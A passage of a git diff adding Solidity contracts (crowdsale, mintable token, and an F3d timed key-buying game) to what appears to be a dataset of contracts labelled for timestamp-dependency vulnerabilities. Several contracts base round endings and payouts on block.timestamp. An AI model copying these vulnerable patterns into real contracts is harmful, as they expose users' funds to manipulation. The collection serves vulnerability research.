b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2688.sol b/smart_contract_dataset/timestamp dependency/2688.sol new file mode 100644 index 0000000000000000000000000000000000000000..823b1c39622831327c7a939ba8bc680b51622fde --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2688.sol @@ -0,0 +1,476 @@ +pragma solidity ^0.4.24; + +contract F3Devents { + event Winner(address winner, uint256 pool, address revealer); + event Buy(address buyer, uint256 keys, uint256 cost); + event Sell(address from, uint256 price, uint256 count); + event Bought(address buyer, address from, uint256 amount, uint256 price); +} + +contract F3d is F3Devents { + using SafeMath for *; + + + uint256 public a; + uint256 public b; + + uint256 public ta; + uint256 public tb; + uint256 public tc; + uint256 public td; + uint256 public te; + + uint256 public wa; + uint256 public wb; + uint256 public wc; + uint256 public wd; + uint256 public we; + + uint256 public maxTimeRemain; + uint256 public timeGap; + + uint256 public soldKeys; + + uint256 public decimals = 1000000; + + bool public pause; + address public owner; + address public admin; + + PlayerStatus[] public players; + mapping(address => uint256) public playerIds; + mapping(uint256 => Round) public rounds; + mapping(uint256 => mapping (uint256 => PlayerRound)) public playerRoundData; + uint256 public currentRound; + + struct PlayerStatus { + address addr; + uint256 wallet; + uint256 affiliate; + uint256 win; + uint256 lrnd; + uint256 referer; + } + + struct PlayerRound { + uint256 eth; + uint256 keys; + uint256 mask; + } + + struct Round { + uint256 eth; + uint256 keys; + uint256 mask; + address winner; + uint256 pool; + uint256 endTime; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + modifier whenNotPaused() { + require(!pause); + _; + } + + modifier onlyAdmin() { + require(msg.sender == admin); + _; + } + + function setPause(bool _pause) onlyAdmin public { + pause = _pause; + } + + constructor(uint256 _a, uint256 _b, + uint256 _ta, uint256 _tb, uint256 _tc, uint256 _td, uint256 _te, + uint256 _wa, uint256 _wb, uint256 _wc, uint256 _wd, uint256 _we, + uint256 _maxTimeRemain, uint256 _gap, address _owner) public { + a = _a; + b = _b; + + ta = _ta; + tb = _tb; + tc = _tc; + td = _td; + te = _te; + + wa = _wa; + wb = _wb; + wc = _wc; + wd = _wd; + we = _we; + + + require(ta.add(tb).add(tc).add(td).add(te) == 1000); + require(wa.add(wb).add(wc).add(wd).add(we) == 1000); + + owner = _owner; + + + currentRound = 1; + rounds[currentRound] = Round(0, 0, 0, owner, 0, block.timestamp.add(_maxTimeRemain)); + maxTimeRemain = _maxTimeRemain; + timeGap = _gap; + + admin = msg.sender; + + players.push(PlayerStatus( + owner, + 0, + 0, + 0, + 0, + 0)); + } + + + function Price(uint256 n) public view returns (uint256) { + return n.mul(a).add(b); + } + + function updatePlayer(uint256 _pID) private { + if(players[_pID].lrnd != 0) { + updateWallet(_pID, players[_pID].lrnd); + } + players[_pID].lrnd = currentRound; + } + + function updateWallet(uint256 _pID, uint256 _round) private { + uint256 earnings = calculateMasked(_pID, _round); + if (earnings > 0) { + players[_pID].wallet = earnings.add(players[_pID].wallet); + playerRoundData[_pID][_round].mask = earnings.add(playerRoundData[_pID][_round].mask); + } + } + + function profit() public view returns (uint256) { + uint256 id = playerIds[msg.sender]; + if (id == 0 && msg.sender != owner) { + return 0; + } + PlayerStatus memory player = players[id]; + + return player.wallet.add(player.affiliate).add(player.win).add(calculateMasked(id, player.lrnd)); + } + + function calculateMasked(uint256 _pID, uint256 _round) private view returns (uint256) { + PlayerRound memory roundData = playerRoundData[_pID][_round]; + return rounds[_round].mask.mul(roundData.keys).sub(roundData.mask); + } + + function registerUserIfNeeded(uint256 ref) public { + if (msg.sender != owner) { + if (playerIds[msg.sender] == 0) { + playerIds[msg.sender] = players.length; + if (ref >= players.length) { + ref = 0; + } + + players.push(PlayerStatus( + msg.sender, + 0, + 0, + 0, + 0, + ref)); + } + } + } + + + function finalize(uint256 ref) public { + Round storage lastOne = rounds[currentRound]; + + require(block.timestamp > lastOne.endTime); + + + registerUserIfNeeded(ref); + + + currentRound = currentRound.add(1); + Round storage _round = rounds[currentRound]; + _round.endTime = block.timestamp.add(maxTimeRemain); + _round.winner = owner; + + uint256 money = lastOne.pool; + + if (money == 0) { + + return; + } + + _round.pool = money.mul(wb) / 1000; + + + uint256 toWinner = money.mul(wa) / 1000; + players[playerIds[lastOne.winner]].win = toWinner.add(players[playerIds[lastOne.winner]].win); + + + uint256 toRevealer = money.mul(wc) / 1000; + uint256 revealId = playerIds[msg.sender]; + + + if (msg.sender == lastOne.winner) { + revealId = 0; + } + + players[revealId].win = players[revealId].win.add(toRevealer); + + uint256 toOwner = money.mul(wd) / 1000; + players[0].win = players[0].win.add(toOwner); + + uint256 split = money.sub(_round.pool).sub(toWinner).sub(toRevealer).sub(toOwner); + + if (lastOne.keys != 0) { + lastOne.mask = lastOne.mask.add(split / lastOne.keys); + + players[0].wallet = players[0].wallet.add(split.sub((split/lastOne.keys) * lastOne.keys)); + } else { + + + _round.pool = split.add(_round.pool); + } + } + + function price(uint256 key) public view returns (uint256) { + return a.mul(key).add(b); + } + + function ethForKey(uint256 _keys) public view returns (uint256) { + Round memory current = rounds[currentRound]; + uint256 c_key = (current.keys / decimals); + + + if (c_key.mul(decimals) != current.keys) { + c_key = c_key.add(1); + } + + uint256 _price = price(c_key); + uint256 remainKeys = c_key.mul(decimals).sub(current.keys); + + if (remainKeys >= _keys) { + return _price.mul(_keys) / decimals; + } + + uint256 costEth = _price.mul(_keys) / decimals; + _keys = _keys.sub(remainKeys); + + while(_keys >= decimals) { + c_key = c_key.add(1); + _price = price(c_key); + costEth = costEth.add(_price); + _keys = _keys.sub(decimals); + } + + c_key = c_key.add(1); + _price = price(c_key); + + costEth = costEth.add(_price.mul(_keys) / decimals); + return costEth; + } + + + function keys(uint256 _eth) public view returns (uint256) { + Round memory current = rounds[currentRound]; + + uint256 c_key = (current.keys / decimals).add(1); + uint256 _price = price(c_key); + uint256 remainKeys = c_key.mul(decimals).sub(current.keys); + uint256 remain =remainKeys.mul(_price) / decimals; + + if (remain >= _eth) { + return _eth.mul(decimals) / _price; + } + uint256 boughtKeys = remainKeys; + _eth = _eth.sub(remain); + while(true) { + c_key = c_key.add(1); + _price = price(c_key); + if (_price <= _eth) { + + boughtKeys = boughtKeys.add(decimals); + _eth = _eth.sub(_price); + } else { + boughtKeys = boughtKeys.add(_eth.mul(decimals) / _price); + break; + } + } + return boughtKeys; + } + + + function core(uint256 _round, uint256 _pID, uint256 _eth) internal { + Round memory current = rounds[currentRound]; + + + if (playerRoundData[_pID][_round].keys == 0) { + updatePlayer(_pID); + } + + if (block.timestamp > current.endTime) { + + finalize(players[_pID].referer); + + + updatePlayer(_pID); + } + + + Round storage current_now = rounds[currentRound]; + + + uint256 _keys = keys(_eth); + + if (_keys <= 0) { + + + players[_pID].wallet = _eth.add(players[_pID].wallet); + return; + } + + if (_keys >= decimals) { + + current_now.winner = players[_pID].addr; + current_now.endTime = current_now.endTime.add(timeGap); + if (current_now.endTime.sub(block.timestamp) > maxTimeRemain) { + current_now.endTime = block.timestamp.add(maxTimeRemain); + } + } + + + uint256 toOwner = _eth.sub(_eth.mul(ta) / 1000); + toOwner = toOwner.sub(_eth.mul(tb) / 1000); + toOwner = toOwner.sub(_eth.mul(tc) / 1000); + toOwner = toOwner.sub(_eth.mul(td) / 1000); + + + current_now.pool = (_eth.mul(ta) / 1000).add(current_now.pool); + + if (current_now.keys == 0) { + + toOwner = toOwner.add((_eth.mul(tb) / 1000)); + players[0].wallet = toOwner.add(players[0].wallet); + } else { + current_now.mask = current_now.mask.add((_eth.mul(tb) / 1000) / current_now.keys); + + + uint256 dust = (_eth.mul(tb) / 1000).sub( _eth.mul(tb) / 1000 / current_now.keys * current_now.keys ); + players[0].wallet = toOwner.add(dust).add(players[0].wallet); + } + + playerRoundData[_pID][currentRound].keys = _keys.add(playerRoundData[_pID][currentRound].keys); + current_now.keys = _keys.add(current_now.keys); + current_now.eth = _eth.add(current_now.eth); + + + playerRoundData[_pID][currentRound].mask = current_now.mask.mul(_keys).add(playerRoundData[_pID][currentRound].mask); + + + uint256 referer1 = players[_pID].referer; + uint256 referer2 = players[referer1].referer; + players[referer1].affiliate = (_eth.mul(tc) / 1000).add(players[referer1].affiliate); + players[referer2].affiliate = (_eth.mul(td) / 1000).add(players[referer2].affiliate); + } + + + + function BuyKeys(uint256 ref) payable whenNotPaused public { + registerUserIfNeeded(ref); + core(currentRound, playerIds[msg.sender], msg.value); + } + + function ReloadKeys(uint256 value, uint256 ref) whenNotPaused public { + registerUserIfNeeded(ref); + players[playerIds[msg.sender]].wallet = retrieveEarnings().sub(value); + core(currentRound, playerIds[msg.sender], value); + } + + function retrieveEarnings() internal returns (uint256) { + uint256 id = playerIds[msg.sender]; + updatePlayer(id); + PlayerStatus storage player = players[id]; + + uint256 earnings = player.wallet.add(player.affiliate).add(player.win); + + if (earnings == 0) { + return; + } + + player.wallet = 0; + player.affiliate = 0; + player.win = 0; + return earnings; + } + + + function withdrawal(uint256 ref) whenNotPaused public { + registerUserIfNeeded(ref); + + uint256 earnings = retrieveEarnings(); + if (earnings == 0) { + return; + } + msg.sender.transfer(earnings); + } + + function playerCount() public view returns (uint256) { + return players.length; + } + + function register(uint256 ref) public whenNotPaused { + registerUserIfNeeded(ref); + } + + function remainTime() public view returns (uint256) { + if (rounds[currentRound].endTime <= block.timestamp) { + return 0; + } else { + return rounds[currentRound].endTime - block.timestamp; + } + } +} + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b, "SafeMath mul failed"); + return c; + } + + + function sub(uint256 a, uint256 b) + internal + pure + returns (uint256) + { + require(b <= a, "SafeMath sub failed"); + return a - b; + } + + + function add(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + c = a + b; + require(c >= a, "SafeMath add failed"); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2711.sol b/smart_contract_dataset/timestamp dependency/2711.sol new file mode 100644 index 0000000000000000000000000000000000000000..a7c72969744bbbf93bf7044cd5171450d4261ef0 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2711.sol @@ -0,0 +1,567 @@ +pragma solidity ^0.4.21; + +contract ERC20Interface { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + +library IterableMapping +{ + struct itmap + { + mapping(address => IndexValue) data; + KeyFlag[] keys; + uint size; + } + struct 